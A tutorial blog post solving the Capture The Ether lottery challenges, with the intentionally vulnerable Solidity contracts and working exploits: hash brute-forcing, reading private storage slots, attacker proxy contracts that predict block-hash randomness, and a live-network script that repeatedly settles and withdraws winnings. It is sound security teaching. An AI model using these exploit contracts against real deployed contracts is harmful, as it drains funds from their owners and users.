Backend / DevOps / Architect
Brit by birth,
located worldwide

All content © Alex Shepherd 2008-2024
unless otherwise noted

Learning Smart Contract Security - Part 2

Published
16 min read
image
Image Credit: ethereum.org

Today, we're going to use our Hardhat development environment to build tests that show that we can pass all of the Lotteries challenges on CaptureTheEther.

In the last article, we worked through the warmups, which just familiarised us with the basic steps we'll be using in all of the challenges. Over the next few articles we'll work through all of the Capture The Ether challenges, learning some of the most common mistakes developers make when coding Smart Contracts in Solidity. These first challenges primarily explore the reasons why randomness and data privacy are complex and nuanced when dealing with data that is stored on-chain.

This article is quite long, so here are links to each section for your convenience:

  1. Guess The Number
  2. Guess The Secret Number
  3. Guess The Random Number
  4. Guess The New Number
  5. Predict The Future
  6. Predict The Block Hash

And if you just want to go and check out the finished code, it's all available on Github.

Let's jump in...

GuessTheNumberChallenge

Our first challenge almost seems too simple to be true - but it really is as easy as it looks. It's asking us to guess the number that they've nicely put right in front of us in plain sight.

contracts/lotteries/GuessTheNumberChallenge.sol
pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
    uint8 answer = 42;

    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

So all we need to do here is deploy the contract, fire the guess method, and check that we've completed the challenge. In a real environment where we didn't know the source code already, this would be a little more convoluted - but still not too hard, and we'll explore that a little later. Our unit test here will be almost identical to the CallMeChallenge test we wrote last time. Create the following unit test:

test/lotteries/guess-the-number-challenge.js
import { expect } from "chai";
import { ethers } from "hardhat";

describe("GuessTheNumberChallenge", function () {
  it("should return true if we guess the correct number", async function () {
    const Challenge = await ethers.getContractFactory(
      "GuessTheNumberChallenge"
    );
    const challenge = await Challenge.deploy({
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    await challenge.guess(42, {
      value: ethers.utils.parseEther("1"),
    });

    expect(await challenge.isComplete()).to.equal(true);
  });
});

Run it, and you'll see that the test passes. They're not all going to be this simple - let's move on to the next one: GuessTheSecretNumberChallenge.

GuessTheSecretNumberChallenge

One step up from the last challenge, we seemingly have to crack a keccak256 hash!

contracts/lotteries/GuessTheSecretNumberChallenge.sol
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

The thing here is that the guess is only a uint8, which means there is a hard cap of 256 possible values. Not exactly rocket science to brute force... A simple loop will do the trick. I won't go into detail - the test should speak for itself:

test/lotteries/guess-the-secret-number-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("GuessTheSecretNumberChallenge", function () {
  it("should return true if we guess the secret number", async function () {
    const Challenge = await ethers.getContractFactory(
      "GuessTheSecretNumberChallenge"
    );
    const challenge = await Challenge.deploy({
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    const answerHash = "0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365";
    for (let i = 0x00; i <= 0xff; i++) {
      const check = ethers.utils.keccak256(
        ethers.BigNumber.from(i).toHexString()
      );

      if (answerHash === check) {
        await challenge.guess(i, {
          value: ethers.utils.parseEther("1"),
        });
        break;
      }
    }

    expect(await challenge.isComplete()).to.equal(true);
  });
});

GuessTheRandomNumberChallenge

This one is marginally more difficult to solve than we've seen so far, as the answer is calculated on deployment, and stored as an internal variable.

contracts/lotteries/GuessTheRandomNumberChallenge.sol
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

There are multiple approaches to many of these challenges. One is to look at the block hash of the contract's deployment transaction and then calculate the value ourselves. But what we're going to do here is something slightly different, and read the value of the internal answer state variable directly from the contract's storage. Surely if it's internal it shouldn't be visible to the outside world though, right? Wrong! The value of any state variable can be read at any time by manually inspecting the Contract's storage. In Solidity, state variable visibility is about programming hygiene, not about access control. Remember - everything is stored on a public blockchain.

Ethereum storage is critically important to understand in depth in order to write secure Smart Contracts. This challenge is the first of many in which we'll explore how badly thought out storage mechanisms can cause major security flaws. EVM state storage is fortunately a relatively simple concept - it's essentially a gigantic hash of 256 bit integer keys to 256 bit integer values. EVM State variables are stored in what is known as "slots".

The first state variable is stored in slot 0, so what we'll do here to figure out the answer, is inspect the number stored in slot 0. We can do that using the Provider's getStorageAt method, passing in the Contract's address and the slot we wish to inspect. That will return us a hex string representing a full 32 byte integer, prefixed with 0x. ethers.js's BigNumber helper will happily convert this to a simple JS Number for us. Our test will look as follows:

test/lotteries/guess-the-random-number-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("GuessTheRandomNumberChallenge", function () {
  it("should return true if we guess the random number", async function () {
    const Challenge = await ethers.getContractFactory(
      "GuessTheRandomNumberChallenge"
    );

    const challenge = await Challenge.deploy({
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    const slotZero = await ethers.provider.getStorageAt(challenge.address, 0);
    const answer = ethers.BigNumber.from(slotZero).toNumber();

    await challenge.guess(answer, {
      value: ethers.utils.parseEther("1"),
    });

    expect(await challenge.isComplete()).to.equal(true);
  });
});

As you can see if you run it, our test passed - we were able to access the internal answer variable without any trouble. Up next, let's explore one of the reasons why block hashes can't be relied on as a source of randomness.

GuessTheNewNumberChallenge

This contract again uses a number derived from the previous block's hash as the answer, but the difference this time is that the contract only generates the hash when the guess is made.

contracts/lotteries/GuessTheNewNumberChallenge.sol
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

What we need to do here is figure out how we can know what the previous block's hash is, without risking losing ether. For this, we'll go back to one of the techiques we warmed up with in the NicknameChallenge - calling a Smart Contract from another Smart Contract. Because a smart contract calling another smart contract occurs all within one transaction, we can be sure that the value we calculate for the answer, will be the same as the one that the target calculates. The first draft of our proxy contract will look as follows:

contracts/lotteries/solvers/GuessTheNewNumberProxy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

import "../GuessTheNewNumberChallenge.sol";

contract GuessTheNewNumberProxy {
    function guess(address deployedAt) external payable {
        require(msg.value == 1 ether, "Guess costs 1 ether");

        GuessTheNewNumberChallenge challenge = GuessTheNewNumberChallenge(
            deployedAt
        );

        uint8 answer = uint8(
            keccak256(blockhash(block.number - 1), block.timestamp)
        );

        challenge.guess.value(1 ether)(answer);
    }
}

This isn't quite enough to complete the challenge though - if you were to run this, you would find that your transaction would be unexpectedly reverted. That's because Smart Contracts aren't able to receive ether without having a fallback function (note, this documentation is for 0.4.21, as that's the version of Solidity we're working with here - you should check the latest documentation before writing any new code).

We will add the following empty function to our Smart Contract to make it payable:

contracts/lotteries/solvers/GuessTheNewNumberProxy.sol
function() external payable {}

This is enough to pass the test... But wait! If the Smart Contract gets paid for solving the, how do we get the ETH back out of it!? The first guess might be to use a constructor to store the account which deployed our Contract, and rewrite our fallback function to something like:

contracts/lotteries/solvers/GuessTheNewNumberProxy.sol
    address owner;

    GuessTheNewNumberProxy() {
        owner = msg.sender;
    }

    function() external payable {
        owner.transfer(address(this).balance);
    }

But that will fail due to the transaction running out of gas - so that method is no use. We need to add a little more logic to our Smart Contract to allow us to withdraw from it. We'll add an extra withdraw method, which will allow the Contract to easily remember who deployed it. I've been using Solidity 0.4.25, which has a slightly different Constructor syntax to 0.4.21, so my final Smart Contract looks like this:

contracts/lotteries/solvers/GuessTheNewNumberProxy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

import "../GuessTheNewNumberChallenge.sol";

contract GuessTheNewNumberProxy {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    function guess(address deployedAt) external payable {
        require(msg.sender == owner, "Access denied");
        require(msg.value == 1 ether, "Guess costs 1 ether");

        GuessTheNewNumberChallenge challenge = GuessTheNewNumberChallenge(
            deployedAt
        );

        uint8 answer = uint8(
            keccak256(blockhash(block.number - 1), block.timestamp)
        );

        challenge.guess.value(1 ether)(answer);
    }

    function withdraw() public {
        require(msg.sender == owner, "Access Denied");
        owner.transfer(address(this).balance);
    }

    function() external payable {}
}

In our test, we'll not only test that we complete the challenge successfully, but we'll also make sure that our Proxy works as expected, by checking that the balance of the Proxy's deployer is increased by 2 ether minus some allowance for gas fees after calling the withdraw method.

test/lotteries/guess-the-new-number-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("GuessTheNewNumberChallenge", function () {
  it("should return true if we guess the new number", async function () {
    const Challenge = await ethers.getContractFactory(
      "GuessTheNewNumberChallenge"
    );

    const challenge = await Challenge.deploy({
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    const Proxy = await ethers.getContractFactory("GuessTheNewNumberProxy");

    const proxy = await Proxy.deploy();
    await proxy.deployed();

    await proxy.guess(challenge.address, {
      value: ethers.utils.parseEther("1"),
    });

    expect(await challenge.isComplete()).to.equal(true);

    expect(await ethers.provider.getBalance(proxy.address)).to.equal(
      ethers.utils.parseEther("2")
    );

    const balanceBefore = await ethers.provider.getBalance(
      await proxy.signer.getAddress()
    );

    await proxy.withdraw();

    const balanceAfter = await ethers.provider.getBalance(
      await proxy.signer.getAddress()
    );

    // Check that we have ~2eth more in our wallet
    expect(
      ethers.utils
        .parseEther("2")
        .sub(balanceAfter.sub(balanceBefore))
        .lt(ethers.utils.parseEther("0.0001"))
    ).to.equal(true);

    expect(await ethers.provider.getBalance(proxy.address)).to.equal(0);
  });
});

This is starting to get interesting now! Our next challenge will explore a more complex example of why the block hash should not be used as a source of randomness.

PredictTheFutureChallenge

This challenge requires that we predict a "random" number between 0 and 9. Again, this uses the block hash as the source of randomness - and we can use pretty much the same trick we used to figure out the block hash last time. See if you can figure it out before going on to check the solution.

contracts/lotteries/PredictTheFutureChallenge.sol
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(
            keccak256(block.blockhash(block.number - 1), now)
        ) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

If you think about it, it doesn't really matter what we guess, as long as we can check whether our guess was correct before calling the target contract's settle method. So what we can do is build another Proxy, which only settles if it confirms that the guess matches the calculation. We'll base this on the Proxy we built last time, with an empty fallback function and a withdraw method that we can use to retrieve our ill-gotten gains:

contracts/lotteries/solvers/PredictTheFutureProxy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

import "../PredictTheFutureChallenge.sol";

contract PredictTheFutureProxy {
    address internal owner;
    uint8 internal guess = 0;
    bool public settled = false;

    constructor() {
        owner = msg.sender;
    }

    function lockInGuess(address deployedAt) external payable {
        require(msg.sender == owner, "Access denied");
        require(msg.value == 1 ether, "Guess costs 1 ether");

        PredictTheFutureChallenge challenge = PredictTheFutureChallenge(
            deployedAt
        );

        challenge.lockInGuess.value(1 ether)(guess);
    }

    function settle(address deployedAt) public {
        uint8 answer = uint8(
            keccak256(blockhash(block.number - 1), block.timestamp)
        ) % 10;

        if (answer == guess) {
            PredictTheFutureChallenge challenge = PredictTheFutureChallenge(
                deployedAt
            );
            challenge.settle();
            settled = true;
        }
    }

    function withdraw() public {
        require(msg.sender == owner, "Access Denied");
        owner.transfer(address(this).balance);
    }

    function() external payable {}
}

All we need to do here, is keep calling the settle method until settled() returns true. There's a 1 in 10 chance of any given block matching, so even on a live network, this would likely only take a few minutes to complete. On Hardhat's internal network, it automatically mines one block per transaction, but it's relatively trivial to use Hardhat scripts build a block listener for a live network which tries to settle for each block until it succeeds. We'll build that after we've got it passing offline.

Our test looks as follows. Note that we use the special "evm_mine" command to force a block to be mined without sending it a transaction:

test/lotteries/predict-the-future-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("PredictTheFutureChallenge", function () {
  it("should return true if we predict the correct guess", async function () {
    const Challenge = await ethers.getContractFactory(
      "PredictTheFutureChallenge"
    );

    const challenge = await Challenge.deploy({
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    const Proxy = await ethers.getContractFactory("PredictTheFutureProxy");
    const proxy = await Proxy.deploy();
    await proxy.deployed();

    const guessTx = await proxy.lockInGuess(challenge.address, {
      value: ethers.utils.parseEther("1"),
    });
    await guessTx.wait();

    // Mine a block so we don't trigger require(block.number > settlementBlockNumber)
    await ethers.provider.send("evm_mine", []);

    // Each call to settle causes a block to be mined. In a real test we'd want to set
    // up a block listener that tries repeatedly to settle.
    while (true) {
      const settleTx = await proxy.settle(challenge.address);
      await settleTx.wait();
      if ((await proxy.settled()) === true) {
        break;
      }
    }

    expect(await challenge.isComplete()).to.equal(true);

    await proxy.withdraw();
  });
});

Nice and simple - we just keep trying until we succeed. For brevity, I haven't tested that our Proxy can withdraw correctly, as we tested that last time. For a real Smart Contract you would absolutely want to test this for every separate contract. For the sake of exploring some more Hardhat functionality, we'll now construct a script which would allow us to run the Proxy we just built against the actual challenge:

scripts/predict-the-future-solver.ts
import { ethers } from "hardhat";

const CHALLENGE_ADDRESS = process.env.CHALLENGE_ADDRESS;

async function main() {
  const [deployer] = await ethers.getSigners();

  console.log("Deploying solver to with %s", deployer.address);
  const Proxy = await ethers.getContractFactory("PredictTheFutureProxy");
  const proxy = await Proxy.deploy();
  await proxy.deployed();

  console.log("Locking in guess");
  const guessTx = await proxy.lockInGuess(CHALLENGE_ADDRESS!);
  await guessTx.wait();

  let settled = false;
  let settling = false;
  proxy.provider.on("block", async (height) => {
    if (settling) {
      return;
    }

    settling = true;
    try {
      console.log("New block! Attempting to settle at %s", height);
      const settleTx = await proxy.settle(CHALLENGE_ADDRESS!);
      await settleTx.wait();
      settled = await proxy.settled();
    } finally {
      settling = false;
    }
  });

  console.log("Waiting to settle");
  await new Promise((resolve) => {
    function checkSettled() {
      if (settled) {
        resolve(undefined);
      } else {
        setTimeout(checkSettled, 10000);
      }
    }

    checkSettled();
  });

  if (
    (await ethers.provider.getBalance(proxy.address)) ===
    ethers.utils.parseEther("2")
  ) {
    console.log("Complete! Withdrawing...");
    await proxy.withdraw();
  }
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

You can see that we set up a block listener on the Provider's network, then use a Promise to wait until our condition passes (settled == true). To run this script, we'd use something like the following:

$ export CHALLENGE_ADDRESS=0xdeadc0de
$ npx hardhat run --network ropsten scripts/predict-the-future-solver.ts

This would then sit running for a few minutes, trying to settle for each new block, and finishing up by withdrawing the winnings. This script can also be run on the Hardhat network or the localhost network, if you want to try writing a second script to deploy the Challenge.

And at at last, we're on to the final challenge - where we have to somehow predict what the block hash is going to be!

PredictTheBlockHashChallenge

At first glance, this appears to be impossible... How can we guess what a block hash in the future will be?

contracts/lotteries/PredictTheBlockHashChallenge.sol
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

The answer to this one comes from a behaviour quirk of the blockhash method - it can only access the block hash of the last 256 blocks. Any hashes previous to that will return zero. This is, according to Vitalik Buterin, "to preserve a property that history is irrelevant past a certain point and state is all that matters". So all we need to do here, is put forward a guess of 0x0, and then wait 257 blocks for our answer to be correct.

import { expect } from "chai";
import { ethers } from "hardhat";

describe("PredictTheBlockHashChallenge", function () {
  it("should return true if we predict the future block hash", async function () {
    const Challenge = await ethers.getContractFactory(
      "PredictTheBlockHashChallenge"
    );

    const challenge = await Challenge.deploy({
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    const guessTx = await challenge.lockInGuess(
      ethers.utils.hexZeroPad("0x00", 32),
      {
        value: ethers.utils.parseEther("1"),
      }
    );
    await guessTx.wait();

    // Mine 257 blocks to make sure we're over the limit for accessible block
    // hashes.
    for (let i = 0; i <= 256; i++) {
      await ethers.provider.send("evm_mine", []);
    }

    const settleTx = await challenge.settle();
    await settleTx.wait();

    expect(await challenge.isComplete()).to.equal(true);
  });
});

Fortunately, as we saw earlier, the Hardhat network can call evm_mine to advance blocks without issuing transactions. That lets us run our test without waiting an hour or so for it to complete. When passing this test on Capture The Ether, you can either hook up a block listener like we did for the Predict The Future Challenge script, or (the approach I took) just go and watch a movie and come back and fire settle a bit later on.

That's all we're going to cover for today. Next time we'll work our way through the Math section, where we'll explore a few other important factors to consider relating to to Smart Contract storage, and some new ones relating to integer over/underflow.